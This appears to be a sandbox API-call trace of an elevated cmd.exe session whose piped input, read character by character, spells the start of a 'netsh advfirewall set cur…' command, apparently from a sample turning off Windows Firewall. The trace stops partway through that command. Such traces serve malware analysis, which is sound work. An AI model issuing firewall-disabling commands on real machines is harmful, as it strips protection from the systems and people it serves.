_get_osfhandle (_FileHandle=1) returned 0x238 [0281.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0281.288] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xacfcf5f888, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f888*=0x26, lpOverlapped=0x0) returned 1 [0281.288] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xacfcf5f958 | out: _Buffer="\r\n") returned 2 [0281.289] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.289] GetFileType (hFile=0x238) returned 0x3 [0281.289] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0281.289] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xacfcf5f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f928*=0x2, lpOverlapped=0x0) returned 1 [0281.289] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xacfcf5f958 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0281.289] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.289] GetFileType (hFile=0x238) returned 0x3 [0281.289] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0281.289] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xacfcf5f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f928*=0x34, lpOverlapped=0x0) returned 1 [0281.289] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xacfcf5f958 | out: _Buffer="\r\n") returned 2 [0281.289] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.289] GetFileType (hFile=0x238) returned 0x3 [0281.289] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0281.289] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xacfcf5f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f928*=0x2, lpOverlapped=0x0) returned 1 [0281.290] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b62f0000 [0281.290] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="CopyFileExW") returned 0x7ff9b630e830 [0281.290] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="IsDebuggerPresent") returned 0x7ff9b630e300 [0281.290] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff9b3900a40 [0281.291] ??_V@YAXPEAX@Z () returned 0x1 [0281.292] _get_osfhandle (_FileHandle=0) returned 0x224 [0281.292] GetFileType (hFile=0x224) returned 0x3 [0281.292] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0281.292] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xacfcf5f798 | out: TokenHandle=0xacfcf5f798*=0x0) returned 0xc000007c [0281.292] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xacfcf5f798 | out: TokenHandle=0xacfcf5f798*=0x98) returned 0x0 [0281.292] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0xacfcf5f748, TokenInformationLength=0x4, ReturnLength=0xacfcf5f750 | out: TokenInformation=0xacfcf5f748, ReturnLength=0xacfcf5f750) returned 0x0 [0281.292] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0xacfcf5f750, TokenInformationLength=0x4, ReturnLength=0xacfcf5f748 | out: TokenInformation=0xacfcf5f750, ReturnLength=0xacfcf5f748) returned 0x0 [0281.292] NtClose (Handle=0x98) returned 0x0 [0281.292] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xacfcf5f760, nSize=0x0, Arguments=0xacfcf5f768 | out: lpBuffer="枠섞Ȉ") returned 0xf [0281.313] GetProcessHeap () returned 0x208c11e0000 [0281.313] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x218) returned 0x208c11e8bb0 [0281.320] GetConsoleTitleW (in: lpConsoleTitle=0xacfcf5f7b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0281.999] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0281.999] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0282.322] GetProcessHeap () returned 0x208c11e0000 [0282.322] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e8bb0) returned 1 [0282.322] LocalFree (hMem=0x208c11e67a0) returned 0x0 [0282.355] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xacfcf5f5d8 | out: _Buffer="\r\n") returned 2 [0282.355] _get_osfhandle (_FileHandle=1) returned 0x238 [0282.355] GetFileType (hFile=0x238) returned 0x3 [0282.355] _get_osfhandle (_FileHandle=1) returned 0x238 [0282.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0282.355] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xacfcf5f5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f5a8*=0x2, lpOverlapped=0x0) returned 1 [0282.355] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0282.355] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x208c13b0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0282.355] malloc (_Size=0x107ce) returned 0x208c13c0060 [0282.357] _vsnwprintf (in: _Buffer=0x208c13c0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xacfcf5f5e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0282.357] _vsnwprintf (in: _Buffer=0x208c13c0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xacfcf5f5e8 | out: _Buffer=">") returned 1 [0282.357] _get_osfhandle (_FileHandle=1) returned 0x238 [0282.357] GetFileType (hFile=0x238) returned 0x3 [0282.357] _get_osfhandle (_FileHandle=1) returned 0x238 [0282.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0282.357] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xacfcf5f5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f5d8*=0x14, lpOverlapped=0x0) returned 1 [0282.357] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.357] GetFileType (hFile=0x224) returned 0x3 [0282.357] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.358] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.358] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0282.358] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.358] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.358] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.358] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.358] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.358] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.359] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.359] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.359] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.359] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.359] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.359] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.359] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.359] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0282.359] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.359] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.359] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.359] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.359] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.359] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.359] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0282.360] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.360] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.360] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0282.360] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.360] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.360] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0282.360] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.360] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.360] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0282.360] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.360] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.360] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0282.361] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.361] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.361] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0282.361] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.361] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.361] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.361] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.361] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.361] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0282.361] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.361] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.361] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0282.362] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.362] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.362] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0282.362] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.362] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.362] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0282.362] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.362] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.362] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.362] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.362] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.362] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.363] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.363] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.363] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.364] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.364] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.364] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.364] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.364] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.364] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.364] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.364] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.364] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.364] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0282.364] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.365] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.365] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.365] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0282.365] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.365] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.365] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.365] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0282.365] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.365] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 